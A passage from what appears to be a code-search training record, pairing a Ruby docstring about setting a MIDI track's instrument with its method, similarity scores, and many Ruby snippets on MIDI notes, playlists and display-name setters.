"def notify\n# MU.structToHash(MU::Cloud::Google.resource_manager(credentials: @config['credentials']).get_project(@cloud_id))\n {}\n end",
"def project_root; end",
"def project_root; end",
"def Com5 # Gestion variables\n \n end",
"def coming_soon\n end",
"def coming_soon\n end",
"def setup_projects\n # noop\n end",
"def init \n\t$LOG = Logger.new($STDOUT,:pattern => config.log_pattern)\n# repository = ARGV.shift\n# transaction = ARGV.shift\n# raise 'Bad Arguments' if !transaction or !repository\n @projects = create_projects # parse the projects configuration\n# @commit = Commit.new(repository,transaction)\n @closed_status=config.closed_status\n\nend",
"def complete\n # 'Completed' is a bad commit message\n end\n\n def tests\n # 'Tests' is also a bad message\n end\n\n def rename_variable\n # 'Rename variable' is also a bad message\n end\n\n def style_cops\n # you get the idea\n end\nend",
"def call\n\n\tend",
"def call\n\n\tend",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end",
"def context; end"
] | [
"0.6695897",
"0.65395135",
"0.6255923",
"0.6249774",
"0.61731553",
"0.6100218",
"0.6100218",
"0.6023362",
"0.59180224",
"0.59133893",
"0.59133893",
"0.5702257",
"0.56968296",
"0.5674485",
"0.564195",
"0.562498",
"0.55689216",
"0.5515018",
"0.54626155",
"0.5455124",
"0.5445025",
"0.5394001",
"0.5392778",
"0.5370444",
"0.5366809",
"0.5366204",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5363207",
"0.5341208",
"0.5333037",
"0.5325011",
"0.5325011",
"0.5283962",
"0.5271538",
"0.5255322",
"0.52338105",
"0.52331686",
"0.52331597",
"0.5231162",
"0.5231162",
"0.5226908",
"0.5226246",
"0.5218865",
"0.52053076",
"0.52038836",
"0.52038836",
"0.52023786",
"0.52023786",
"0.52023786",
"0.5195773",
"0.51893",
"0.5173479",
"0.5155143",
"0.51461285",
"0.51382256",
"0.51325387",
"0.5129944",
"0.51229805",
"0.51195616",
"0.51163715",
"0.51143694",
"0.5112804",
"0.5111541",
"0.51066315",
"0.51066315",
"0.5098415",
"0.50928044",
"0.50928044",
"0.50916743",
"0.50764334",
"0.50764334",
"0.5076256",
"0.50726765",
"0.50726765",
"0.5069054",
"0.5061081",
"0.5061081",
"0.505932",
"0.50532776",
"0.50491",
"0.5042715",
"0.5042715",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395",
"0.50374395"
] | 0.0 | -1 |
Tell this track's channel to use the given instrument, and also set the track's instrument display name. | def instrument=(instrument)
@events << MIDI::ProgramChange.new(@channel, instrument)
super(GM_PATCH_NAMES[instrument])
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def instrument=(instrument)\n @events << \nMIDI::ProgramChange.new(@channel, instrument)\n super(MIDI::GM_PATCH_NAMES[instrument])\n end",
"def instrument=(instrument)\n @events << MIDI::ProgramChange.new(@channel, instrument)\n super(MIDI::GM_PATCH_NAMES[instrument])\n end",
"def instrument=(instrument)\n\t @events << \nMIDI::ProgramChange.new(@channel, instrument)\n\t super(MIDI::GM_PATCH_NAMES[instrument])\n\t end",
"def instrument=(instrument)\n\t @events << \nMIDI::ProgramChange.new(@channel, instrument)\n\t super(MIDI::GM_PATCH_NAMES[instrument])\n\t end",
"def instrument=(instrument)\n\t @events << \nMIDI::ProgramChange.new(@channel, instrument)\n\t super(MIDI::GM_PATCH_NAMES[instrument])\n\t end",
"def instrument=(instrument)\n\t @events << \n MIDI::ProgramChange.new(@channel, instrument)\n\t super(MIDI::GM_PATCH_NAMES[instrument])\n\t end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_instrument\n self.instrument_id = self.code_list.instrument_id\n end",
"def set_instrument\n self.instrument_id = self.code_list.instrument_id\n end",
"def set_attr band, musician #, instrument\n @band = band\n @musician = musician\n # @instrument = instrument\n end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_instrument\n @instrument = Instrument.find(params[:id])\n end",
"def set_label(val, instrument)\n self.category = Category.find_by label: val, instrument_id: instrument.id\n if self.category.nil?\n self.category = Category.create label: val, instrument: instrument\n end\n end",
"def set_instrument_preference\n @instrument_preference = InstrumentPreference.find(params[:id])\n end",
"def instrument_name\n system_name\n end",
"def label=(val)\n set_label(val, code_list.instrument)\n end",
"def instr_desc\n instr_data = $instruments[values]\n\n if instr_data == nil\n return \"- Unknown instrument\"\n end\n\n result = \"\"\n\n for possible in instr_data\n result += \"- Instrument ##{possible[:instrument]} \" \\\n + \"(#{possible[:name]}) \" \\\n + \"v#{possible[:voice]}\\n\"\n end\n\n result\n end",
"def display_name(display_name)\n @display_name = display_name\n self\n end",
"def setNameSound _obj, _args\n \"_obj setNameSound _args;\" \n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def display_name=(value)\n @display_name = value\n end",
"def each_instrument\n self.instruments.each do |instrument|\n instrument.name\n end\n end",
"def instrument(name, orig); end",
"def initialize(name, instrument, vice)\n @name = name\n @instrument = instrument\n @vice = vice\n end",
"def initialize(instrument='voice', vice='spending money') # Default parameters\n @instrument = instrument\n @vice = vice\n end",
"def display_name=(value)\n @display_name = value\n end",
"def place_plate_in_instrument(plate:)\n \"Place plate #{plate} in the thermocycler\"\n end",
"def place_plate_in_instrument(plate:)\n \"Place plate #{plate} in the thermocycler\"\n end",
"def place_plate_in_instrument(plate:)\n \"Place plate #{plate} in the thermocycler\"\n end",
"def display_name=(value)\n @display_name = value\n end",
"def channel=(chan)\n notes.each{|n| n.channel = chan}\n end",
"def initialize(n='', i='voice', v='')\n @name = n\n @instrument = i\n @vice = v\n end",
"def artist_name=(name)\n self.artist = Artist.find_or_create_by_name(name)\n artist.add_song(self)\n binding.pry\n end",
"def create_band_with_name_and_instrument(name, instrument)\n fill_in \"name\", with: name\n select instrument, from: 'instrument'\n click_button \"Create band\"\n end",
"def artist=(artist)\n #associates an artist with a song\n @artist = artist\n end",
"def set_instrument_patch\n @instrument_patch = InstrumentPatch.find(params[:id])\n end",
"def device_display_name=(value)\n @device_display_name = value\n end",
"def device_display_name=(value)\n @device_display_name = value\n end",
"def display_device_name=(value)\n @display_device_name = value\n end",
"def name=(display_name)\r\n\t\t\t`#{BITS::BITSADMIN} /setdisplayname {#{@id}} \\\"#{display_name}\\\"`\r\n\t\tend",
"def speak\n\t\t\"#{name} says ARf!\" #changed #{@name} for name to call the inst. name method as oposed to the \n\t\t#inst. var @name. This only works for the GETTER method. For the setter we need to use self\n\tend",
"def plugin(name)\n @__cinch_name = name\n end",
"def caption(kaption)\n @kaption = kaption\n end",
"def set_displayname(path,display_name)\n result = $evm.instance_set_display_name(path, display_name)\n return result\n end",
"def name=(s)\n pull unless @details\n @details.display_name = s\n super\n end",
"def name= display_name\n @grpc.display_name = display_name\n end",
"def custom_browser_display_name=(value)\n @custom_browser_display_name = value\n end",
"def artist(value)\n @ole.Artist = value\n nil\n end",
"def initialize(name, instrument, vice) #this automatically sets up default information for the selected class\n @name = name\n @instrument = instrument\n @vice = vice\n end",
"def start_instrument(survey, participant, mode, event, instrument = nil)\n # TODO: raise Exception if survey is nil\n return if survey.nil?\n instrument = build_instrument(survey, mode) if instrument.nil?\n instrument.tap do |instr|\n instr.event = event\n rs = instr.response_sets.build(:survey => survey, :user_id => self.id)\n rs.participant = participant\n rs.prepopulate\n end\n end",
"def show_series_name=(value)\n @show_series_name = value\n end",
"def update\n @instrument = Instrument.find(params[:id])\n @instrument.update(instrument_params)\n redirect_to instrument_path(@instrument)\n end",
"def display_name=(name)\n @display_name ||= name\n end",
"def institution_set(name)\n self.institution.set name\n end"
] | [
"0.6368076",
"0.62432176",
"0.6185505",
"0.6185505",
"0.6185505",
"0.61758345",
"0.60637724",
"0.60637724",
"0.60637724",
"0.60637724",
"0.60637724",
"0.58738804",
"0.58738804",
"0.5730139",
"0.5724428",
"0.5724428",
"0.554737",
"0.53196824",
"0.5193287",
"0.51252496",
"0.5064646",
"0.50138617",
"0.50051427",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.4973239",
"0.49717233",
"0.49677953",
"0.4952704",
"0.49451256",
"0.49066916",
"0.48983714",
"0.48983714",
"0.48983714",
"0.48931026",
"0.4890078",
"0.48607633",
"0.4857985",
"0.4856236",
"0.48530367",
"0.48509794",
"0.4844863",
"0.4844863",
"0.48446602",
"0.4818433",
"0.48111725",
"0.4806931",
"0.47788805",
"0.47782183",
"0.47753105",
"0.47658893",
"0.47625282",
"0.47580838",
"0.4736551",
"0.47318307",
"0.4720276",
"0.47151178",
"0.46965277",
"0.46931952"
] | 0.63136387 | 1 |
Add one or more notes to sound simultaneously. Increments the pertrack timer so that subsequent notes will sound after this one finishes. | def notes(offsets, velocity=127, duration='quarter')
offsets = [offsets] unless offsets.respond_to? :each
offsets.each do |offset|
event(NoteOnEvent.new(@channel, offset, velocity))
end
@time += @sequence.note_to_delta(duration)
offsets.each do |offset|
event(NoteOffEvent.new(@channel, offset, velocity))
end
recalc_delta_from_times
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add(notes, options = {})\n notes = [notes].flatten\n notes = sanitize_input_notes(notes, MIDIMessage::NoteOn, options)\n @sequence.add(notes)\n end",
"def play tick, sounds\n\n # Obviously can't play a tune without a tune\n if @tune.empty? || !@playing\n return\n end\n\n # Right then, see if the current note's played time is past\n while @tune_index == -1 || @last_note + @tune[@tune_index][1] <= tick\n\n # Move onto the next note, back to the beginning if we reach the end\n @tune_index += 1\n if @tune_index >= @tune.length\n @tune_index = 0\n end\n\n # Double check if we're repeating\n if !@repeat\n @playing = false\n return\n end\n\n # Output the note\n sounds << \"#{@notes_prefix}#{@tune[@tune_index][0]}#{@notes_postfix}\"\n @last_note = tick\n end\n\n end",
"def add_major(low_note, velocity=127, duration='quarter')\n add_notes([0, 4, 7].collect { |x| x + low_note }, velocity, duration)\nend",
"def add_notes(offsets, velocity=127, duration='quarter')\n offsets = [offsets] unless offsets.respond_to? :each\n offsets.each do |offset|\n event(MIDI::NoteOnEvent.new(@channel, PITCH_G2 + offset, velocity))\n end\n @time += @sequence.note_to_delta(duration)\n offsets.each do |offset|\n event(MIDI::NoteOffEvent.new(@channel, PITCH_G2 + offset, velocity))\n end\n recalc_delta_from_times\n end",
"def add_notes(offsets, velocity=127, duration='quarter')\n\t offsets = [offsets] unless offsets.respond_to? :each\n\t offsets.each do |offset|\n\t event(MIDI::NoteOnEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t @time += @sequence.note_to_delta(duration)\n\t offsets.each do |offset|\n\t event(MIDI::NoteOffEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t recalc_delta_from_times\n\t end",
"def add_notes(offsets, velocity=127, duration='quarter')\n\t offsets = [offsets] unless offsets.respond_to? :each\n\t offsets.each do |offset|\n\t event(MIDI::NoteOnEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t @time += @sequence.note_to_delta(duration)\n\t offsets.each do |offset|\n\t event(MIDI::NoteOffEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t recalc_delta_from_times\n\t end",
"def add_notes(offsets, velocity=127, duration='quarter')\n\t offsets = [offsets] unless offsets.respond_to? :each\n\t offsets.each do |offset|\n\t event(MIDI::NoteOnEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t @time += @sequence.note_to_delta(duration)\n\t offsets.each do |offset|\n\t event(MIDI::NoteOffEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t recalc_delta_from_times\n\t end",
"def add_notes(offsets, velocity=127, duration='quarter')\n\t offsets = [offsets] unless offsets.respond_to? :each\n\t offsets.each do |offset|\n\t event(MIDI::NoteOnEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t @time += @sequence.note_to_delta(duration)\n\t offsets.each do |offset|\n\t event(MIDI::NoteOffEvent.new(@channel, MIDDLE_C + offset, velocity))\n\t end\n\t recalc_delta_from_times\n\t end",
"def add_songs(songs)\n songs.each { |song| add_song(song) }\n end",
"def add_songs(songs)\n songs.each { |song| add_song(song) }\n end",
"def add_songs(songs)\n songs.each { |song| add_song(song) }\n end",
"def midisynth (synthName=:beep, midiArray=\" \", amp: 1.0, amp_slide: 1, pan: 0, pan_slide: 1, attack: -1, decay: -1, sustain: -1, release: -1, attack_level: -1, decay_level: -1, sustain_level: -1, env_curve: -1, slide: -1, pitch: -1)\r\n #add case statement for each synth to set parameters\r\n use_synth synthName\r\n numofnotes = midiArray.length\r\n numofnotes.times do |i|\r\n if i.to_i < (numofnotes.to_i - 1)\r\n msleep = midiArray[i+1].split(\",\")[2].to_i/120.to_f #time until next note plays\r\n msleep = msleep.round(2)\r\n else\r\n msleep = 1\r\n end\r\n noterelease = midiArray[i].split(\",\")[4].to_f/120\r\n noteToPlay = midiArray[i].split(\",\")[5].to_f\r\n play noteToPlay, amp: amp\r\n sleep msleep\r\n end\r\nend",
"def play(notes)\n\n md = /(\\w):(.+)/.match(notes)\n \n notetype = @notes[md[1]]\n d = @seq.note_to_delta(notetype)\n\n # n.b channel is inverse of string - chn 0 is str 6 \n md[2].split('|').each_with_index do |fret, channel| \n if fret.to_i.to_s == fret\n fret = fret.to_i\n oldfret = @prev[channel]\n @prev[channel] = fret \n\n if oldfret\n oldnote = @tuning[channel] + oldfret\n @track.events << MIDI::NoteOffEvent.new(channel,oldnote,0,d)\n d = 0\n end\n \n noteval = @tuning[channel] + fret\n @track.events << MIDI::NoteOnEvent.new(channel,noteval,80 + rand(38),d)\n d = 0\n end\n end\n end",
"def add_notes(offsets, velocity=127, duration='quarter')\n offsets = [offsets] unless offsets.respond_to? :each\n offsets.each do |offset|\n event(MIDI::NoteOnEvent.new(@channel, MIDDLE_C + offset, velocity))\n end\n @time += @sequence.note_to_delta(duration)\n offsets.each do |offset|\n event(MIDI::NoteOffEvent.new(@channel, MIDDLE_C + offset, velocity))\n end\n recalc_delta_from_times\n end",
"def note(*note_names)\n midi_values = note_names.map { |name| Midishark::Notes.note(name) }\n @notes << midi_values\n\n midi_values\n end",
"def chord\n note_num = 4\n samples = []\n count = 0\n duration = nil\n\n while duration.nil?\n puts Rainbow(\"For how many seconds should your chord be played?\").blue\n duration = STDIN.gets.chomp.to_i\n if duration < 1 || duration > 40 || !duration.is_a?(Integer)\n puts Rainbow(\"Please enter a number of seconds greater than 1 and less than 150!\").yellow\n duration = nil\n end\n end\n\n while count <= note_num - 1\n frequency *= 2 if count == 3\n amplitude = 0.25\n num_samples = Notes.SAMPLE_RATE * duration\n\n case count\n when 0\n frequency = Notes.get_notes\n voice = generate_sinewave(num_samples, frequency, amplitude)\n voice_1 = voice\n when 1\n frequency = Notes.get_notes\n voice = generate_sinewave(num_samples, frequency, amplitude)\n voice_2 = voice\n when 2\n frequency = Notes.get_notes\n voice = generate_sinewave(num_samples, frequency, amplitude)\n voice_3 = voice\n when 3\n frequency = Notes.get_notes\n frequency *= 2\n voice = generate_sinewave(num_samples, frequency, amplitude)\n voice_4 = voice\n end\n\n if count >= 3\n samples = [voice_1, voice_2, voice_3, voice_4].transpose.map {|x| x.reduce(:+)}\n export_samples(samples.flatten)\n end\n count += 1\n end\n samples\nend",
"def song(song_number, notes)\n raise RangeError if song_number < 0 || song_number > 15\n \n notes.map! do |i|\n note, duration = i\n\n # notes can either be a string or the actual ID\n note = NOTES[note] if note.is_a?(String)\n [note, duration*64]\n end\n\n # The protocol requires us to send the number of notes and the song number first\n write_chars([SONG, song_number, notes.size] + notes.flatten)\n end",
"def play_score_note(notes, opts = {})\n # cl \"NOTES: #{notes.inspect}\".red\n opts[:vscale] ||= 1.0\n ped = opts[:pedal]\n hand = opts[:hand]\n zzz = nil\n z_candidate = nil\n\n notes.each do |n|\n if n[1].is_a? Array\n # note with legato value, i.e. different sustain & sleep values\n # TODO: if chord, last note's legato value will be used? no legato in chords?\n dur, zzz = n[1]\n # cl \"n1: #{n[1].inspect}, dur: #{dur}, zzz: #{zzz}\".green\n else\n dur = n[1]\n z_candidate = n[1]\n end\n\n if ped && ped[ hand ]\n cl \"PEDAL from inside play_score_note: #{ped.inspect}\" #if opts[:hand] = :l\n cl \"BPM: #{current_bpm}\".green\n ped[ hand ] << n[0]\n # cl \"P ADD #{n[0]}, #{hand}\"\n dur = 10000 # effectively disable note-off\n end\n\n dcl \"mplay(note:#{n[0]}, sustain:#{n[1]}, velocity:#{n[2]})\"\n mplay note:n[0], sustain:dur, velocity:n[2] * opts[:vscale], **opts\n end\n\n # cl \"DUR: #{notes[0][1]}, SLEEP: #{notes[0][1]}\"\n # sleep for either specified legato sleep time, or last-note-in-chord's duration time\n sleep zzz || z_candidate\nend",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def song_notes=(notes)\n notes.each do |note|\n self.notes.build(content: note)\n end\n end",
"def play_3_note_chord(note_one, note_two, note_three)\n play note_one\n play note_two\n play note_three\nend",
"def add_song(song)\n @songs << song\n song.artist = self\n @@sounds_count += 1\n\n end",
"def add_beat(beat)\n # Deal with tuplets separately- these have a different Lilypond representation.\n if beat[:rhythm] == [Rational(1,3), Rational(1,3), Rational(1,3)]\n note1 = get_lilypond_note(beat[:notes][0])\n note2 = get_lilypond_note(beat[:notes][1])\n note3 = get_lilypond_note(beat[:notes][2])\n lilypond_rep = \"\\\\tuplet 3/2 { #{ note1 }8 #{ note2 } #{ note3 }}\"\n @notes << lilypond_rep\n else\n # For each rhythm and pitch pair, convert to the lilypond note.\n beat[:rhythm].zip(beat[:notes]) do |duration, pitch|\n lilypond_rep = get_lilypond_note(pitch)\n if duration == Rational(1, 4)\n lilypond_rep << \"16\"\n elsif duration == Rational(1, 2)\n lilypond_rep << \"8\"\n elsif duration == 1\n lilypond_rep << \"4\"\n else\n raise \"Unknown duration #{ duration }\"\n end\n # Add the note to the member variable array.\n @notes << lilypond_rep\n end\n end\n end",
"def play(channel, note, duration, velocity = 100, time = nil)\n on_time = time || Time.now.to_f\n @timer.at(on_time) {note_on(channel, note, velocity)}\n off_time = on_time + duration\n @timer.at(off_time) {note_off(channel, note, velocity)}\n end",
"def add_major(low_note,velocity=127, duration='quarter')\n add_notes([0, 4, 7].collect { |x| x + low_note }, velocity, duration)\n end",
"def chord(notes=[], duration=:n4, options={})\n playables = []\n notes.each_with_index do |n, i|\n playables << factory(n, duration, delay_accum,\n resolve_options(@default_options, i).merge(options))\n end\n playables\n end",
"def add_major(low_note, velocity=127, duration='quarter')\n add_notes([0, 4, 7].collect { |x| x + low_note }, velocity, duration)\n end",
"def add_note(note)\n notes << note\n end",
"def do_add\n file_paths = ARGV.dup\n\n file_paths.map! { |path| File.expand_path(path) }\n \n file_paths.each do |path|\n ensure_exists(path)\n end\n\n audiofiles = file_paths.map do |path|\n af = nil # SCOPE\n TagLib::FileRef.open(path) do |ref|\n if ref.null?\n warnx(\"#{path}: not an audio file?\")\n exit 1\n end\n warnx(\"parsing #{path}\")\n tags = ref.tag\n af = AudioFile.new(path, tags.title, tags.artist, tags.album)\n end\n\n af\n end\n\n File.open(@playlist_path, \"w\") { |fd|\n fd.puts(PlaylistWriter.new(audiofiles).to_s)\n }\nend",
"def pbToneChangeAll(tone, duration)\n $game_screen.start_tone_change(tone,duration * 2)\n for picture in $game_screen.pictures\n picture.start_tone_change(tone,duration * 2) if picture\n end\nend",
"def add_note(note)\n notes << note\n end",
"def power_chord(low_note,velocity=127,duration='quarter')\n\t add_notes([0,7].collect { |x| x + low_note }, velocity, duration)\n end",
"def power_chord(low_note,velocity=127,duration='quarter')\n\t add_notes([0,7].collect { |x| x + low_note }, velocity, duration)\n end",
"def pbToneChangeAll(tone,duration)\n $game_screen.start_tone_change(tone,duration*2)\n for picture in $game_screen.pictures\n picture.start_tone_change(tone,duration*2) if picture\n end\nend",
"def initialize p_notes = 'music/?.wav'\n\n # Set some defaults\n @repeat = true\n @playing = false\n @tune = []\n @tune_index = -1\n @last_note = 0\n\n # And save the note source\n @notes_prefix, @notes_postfix = p_notes.split( '?' )\n\n end",
"def play\n @sound += 1\n @sound %= @overlap\n `#{@sounds[@sound]}.play()`\n end",
"def play_score_measure(score, measure_num, opts = {})\n\n # need this accumulator array passed in from calling context, to remember lists of played notes which might stretch across more than one measure\n pedal_notes = opts[:pedal_notes]\n\n stop unless score[:l][measure_num] && score[:r][measure_num] && (!@stop || !defined?(@stop))\n cl \"=== measure #{measure_num + 1} ==========================\"\n\n # if opts[:pan_hands]\n # pan_spread = (opts[:pan_hands] * 63).to_i\n # pan = { l: 64+pan_spread, r: 64-pan_spread }\n # cl pan.inspect\n # opts.delete :pan_hands\n # else\n # pan = { l: opts[:pan] || 64, r: opts[:pan] || 64 }\n # cl \"NO PAN SPREAD, pan=#{opts[:pan]}\".red\n # end\n\n if opts[:pan]\n # option pan: [1-127] is passed to midi() and pans both hands to the amount specified\n pan_l = opts[:pan]\n pan_r = opts[:pan]\n opts.delete :pan\n elsif opts[:pan_hands]\n # option pan_hands: [0..1] determines how far apart to spread the two piano hands\n # pan_hands:0 is no panning, equally in L & R channels\n # pan_hands:1 is full panning, left hand exclusively in left channel, right hand in right\n pan_spread = (opts[:pan_hands] * 63).to_i\n pan_l = 64 + pan_spread\n pan_r = 64 - pan_spread\n opts.delete :pan_hands\n end\n\n in_thread do\n score[:l][measure_num].each do |m|\n if m == :pedal\n # cl \"GOT PEDAL (RL m#{measure_num} #{pedal_notes[:l].inspect}\".green\n pedal_notes[:l].uniq.each{ |n| midi_note_off n, **opts } if pedal_notes[:l]\n pedal_notes[:l] = []\n next\n elsif m.is_a? Float\n use_bpm (BPM * m) # tempo change\n cl \"BPM L #{current_bpm}\".red\n\n next\n end\n\n play_score_note(m, pan: pan_l, hand: :l, pedal: pedal_notes, **opts)\n end\n end\n\n # in_thread do # NO! only one thread, otherwise 0 time elapses!\n score[:r][measure_num].each do |m|\n if m == :pedal\n # cl \"GOT PEDAL (R) m#{measure_num} #{pedal_notes[:r].inspect}\".green\n # midi_all_notes_off channel: opts[:channel] # (this MUST be in non-thread hand) TODO: causes following notes to be cut short, occasionally!\n pedal_notes[:r].uniq.each{ |n| midi_note_off n, **opts } if pedal_notes[:r]\n pedal_notes[:r] = []\n next\n elsif m.is_a? Float\n use_bpm (BPM * m) # tempo change\n cl \"BPM R #{current_bpm}\".red\n next\n end\n\n play_score_note(m, pan: pan_r, hand: :r, pedal: pedal_notes, **opts)\n end\n # end\nend",
"def alejandro1\n # Variable creation.\n # Data structure (way of storing data): List\n notes = [:b4, :b4, :b4, :d4, :e4, :fs4, :fs4, :e4,\n :fs4, :fs4, :fs4, :c4, :c4, :c4, :c4] # :r is rest.\n \n durations = [0.5, 0.25, 0.25, 0.5, 0.5, 0.5, 1, 0.5,\n 0.5, 0.5, 0.5, 0.5, 0.5, 1, 0.5]\n \n play_pattern_timed notes, durations\nend",
"def append(opts)\n playlist_control :add, opts\n end",
"def alejandro1\n # Variable creation.\n # Data structure (way of storing data): List\n notes = [:b4, :b4, :b4, :d4, :e4, :fs4, :fs4, :e4,\n :fs4, :fs4, :fs4, :cs4, :cs4, :cs4, :cs4] # :r is rest.\n \n durations = [0.5, 0.25, 0.25, 0.5, 0.5, 0.5, 1, 0.5,\n 0.5, 0.5, 0.5, 0.5, 0.5, 1, 0.5]\n \n play_pattern_timed notes, durations\nend",
"def play(channel, note, duration=1, velocity=100, time=nil) \n time ||= Time.now.to_f\n on_delta = time - (@last[channel] || time)\n off_delta = duration * @interval\n @last[channel] = time\n track = channel_track(channel)\n track.events << MIDI::NoteOnEvent.new(0, note, velocity, seconds_to_delta(on_delta))\n track.events << MIDI::NoteOffEvent.new(0, note, velocity, seconds_to_delta(off_delta))\n end",
"def add_midi_destinations(destinations)\n destinations = [destinations].flatten.compact\n @midi_destinations += destinations\n on_midi_destinations_updated if respond_to?(:on_midi_destinations_updated)\n end",
"def add_note(note)\n @notes.push(note)\n end",
"def add_song(x)\n \t@songs << x\n end",
"def update_tone\n end",
"def add(sequence)\n # Obtains a quarter duration for this sequence\n quarter_note_length = sequence.note_to_delta('quarter')\n \n # Create the duration table based on the sequence's \"quarter\" value\n create_duration_table(quarter_note_length)\n \n # For each instrument on the sequence...\n sequence.each { |track|\n # Program change of the current track\n instrument = nil\n\n # Create a list of midi elements for an instrument\n elements = []\n\n # Iterates the track event list...\n track.each { |event|\n \n # Consider only \"NoteOn\" events since they represent the start of a note event (avoid duplication with \"NoteOff\").\n if event.kind_of?(MIDI::NoteOnEvent) then\n # From its correspondent \"NoteOff\" element, extract the duration of the note event.\n duration = event.off.time_from_start - event.time_from_start + 1\n \n # Maps the duration in ticks to a correspondent string on the duration table.\n duration_representation = @duration_table[duration]\n \n # In the case that the note do not correspond to anything in the table,\n # we just truncate it to the closest value.\n if duration_representation.nil? or duration_representation == \"unknow\" then\n new_duration = 0\n smallest_difference = Float::INFINITY\n @duration_table.each { |key, value|\n difference = (duration - key).abs\n if difference < smallest_difference then\n smallest_difference = difference\n new_duration = key\n end\n }\n duration_representation = @duration_table[new_duration]\n end\n\n # Create new markov chain state and put into the \"elements\" list\n elements << MidiElement.new(event.note_to_s, duration_representation)\n elsif event.kind_of?(MIDI::ProgramChange) then\n if (event.channel == 10) then\n instrument = MIDI::GM_DRUM_NOTE_NAMES[event.program]\n else\n instrument = MIDI::GM_PATCH_NAMES[event.program]\n end\n end\n }\n \n if instrument.nil? then\n instrument = MIDI::GM_PATCH_NAMES[1]\n end\n \n @value_chain[instrument] ||= elements unless elements.empty?\n }\n end",
"def add_songs tracklist, playlist_object\n playlist_object.add_tracks!(tracklist)\n end",
"def append_note new_notes\n # If I don't include hours it gets reset.\n # This doens't appear to be the case for task and project.\n (self.notes << \"\\n#{new_notes}\").lstrip!\n DayEntry.post \"daily/update/#{id}\",\n %{<request><notes>#{notes}</notes><hours>#{hours}</hours></request>}\n end",
"def add_song(song_to_be_added)\n @songs << song_to_be_added\n end",
"def test_can_accept_multiple_notes\n p = players(:manny)\n assert_equal [], p.notes\n note1 = Note.create!(:body => \"note 1\")\n note2 = Note.create!(:body => \"note 2\")\n p.notes << note1\n p.notes << note2\n assert_equal [note1, note2], p.notes\n end",
"def play\n beats = list.to_string\n `say -r #{rate} -v #{voice} #{beats}`\n end",
"def arp(notes=[], duration=:n4, arp_delay=0.125, options={})\n playables = []\n notes.each_with_index do |n, i|\n playables << factory(n, duration,\n delay_accum + arp_delay * i,\n resolve_options(@default_options, i).merge(options))\n end\n playables\n end",
"def seq(notes=[], duration=:n4, options={})\n runables = []\n notes.each_with_index do |n, i|\n runables << factory(n, duration, delay_accum,\n resolve_options(@default_options, i).merge(options))\n runables << rest(duration)\n end\n runables\n end",
"def add_note(note)\n self.notes = notes.present? ? \"\\n\\n#{note}\" : note\n save\n end",
